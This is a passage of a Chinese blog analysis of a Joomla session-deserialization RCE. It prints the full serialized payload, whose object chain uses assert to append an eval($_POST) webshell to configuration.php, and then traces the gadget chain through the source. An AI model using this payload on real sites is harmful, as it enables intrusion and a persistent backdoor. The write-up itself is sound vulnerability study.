2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}

可以看到和正常数据不同的地方的后面也有很多类似函数的参数,把上面的格式化一下

__default|a:8:{  s:15:"session.counter";  i:3;  s:19:"session.timer.start";  i:1588261345;  s:18:"session.timer.last";  i:1588261347;  s:17:"session.timer.now";  i:1588261570;  s:8:"registry";  O:24:"Joomla\Registry\Registry":2:  {    s:7:"\0\0\0data";    O:8:"stdClass":1:    {      s:5:"users";      O:8:"stdClass":1:      {        s:5:"login";        O:8:"stdClass":1:        {          s:4:"form";          O:8:"stdClass":2:          {            s:4:"data";            a:5:            {              s:6:"return";s:39:"index.php?option=com_users&view=profile";              s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";              s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";              s:9:"secretkey";s:0:"";              s:8:"remember";i:0;            }            s:6:"return";            s:39:"index.php?option=com_users&view=profile";          }        }      }    }    s:9:"separator";    s:1:".";  }  s:4:"user";  O:5:"JUser":26:  {    s:9:"\0\0\0isRoot";N;    s:2:"id";i:0;    s:4:"name";N;    s:8:"username";N;    s:5:"email";N;    s:8:"password";N;    s:14:"password_clear";s:0:"";    s:5:"block";N;    s:9:"sendEmail";i:0;    s:12:"registerDate";N;    s:13:"lastvisitDate";N;    s:10:"activation";N;    s:6:"params";N;    s:6:"groups";a:1:{i:0;s:1:"9";}    s:5:"guest";i:1;    s:13:"lastResetTime";N;    s:10:"resetCount";N;    s:12:"requireReset";N;    s:10:"\0\0\0_params";    O:24:"Joomla\Registry\Registry":2:    {      s:7:"\0\0\0data";      O:8:"stdClass":0:{}      s:9:"separator";s:1:".";    }    s:14:"\0\0\0_authGroups";N;    s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}    s:15:"\0\0\0_authActions";N;    s:12:"\0\0\0_errorMsg";N;    s:13:"\0\0\0userHelper";    O:18:"JUserWrapperHelper":0:{}    s:10:"\0\0\0_errors";a:0:{}    s:3:"aid";i:0;  }  s:13:"session.token";  s:32:"878c42d725cd32dcc52aa2ca0c848ded";  s:17:"application.queue";  a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

Services 一文中给出所有的字母标示及其含义:

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string

在其中的";s:8:"password";s:603:"AAA长度为27,正好为构造的payload,经过read函数的替换之后变为

之后经过一个303跳转,请求index.php/component/users/?view=login从新调用read()函数,触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

public function __destruct(){    $this->disconnect();}public function disconnect(){    // Close the connection.    if ($this->connection)    {        foreach ($this->disconnectHandlers as $h)        {            call_user_func_array($h, array( &$this));        }        mysqli_close($this->connection);    }    $this->connection = null;}

存在一个call_user_func_array函数,但是这里面的`&$this`是我们不可控的,所以需要取寻找另一个利用点,新调用一个对象,在libraries/simplepie/simplepie.php中

这里simplepie是没有定义的,所以需要`new JSimplepieFactory()`,并且在SimplePie类中,需要满足`if ($this->cache && $parsed_feed_url['scheme'] !== '')`才能调用下面的`call_user_func`,并且为了满足能够实现函数使用,需要`$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');`中的cache_name_function和feed_url为我们的函数和命令

在这个序列化的过程中,我没有理解为什么要新new出来一个JDatabaseDriverMysql对象,这个对象`extends`JDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么,如果有大佬知道的话,欢迎留言评论

# 参考文章

https://xz.aliyun.com/t/6522

https://www.freebuf.com/vuls/216130.html

https://blog.csdn.net/qq_43645782/article/details/105801796


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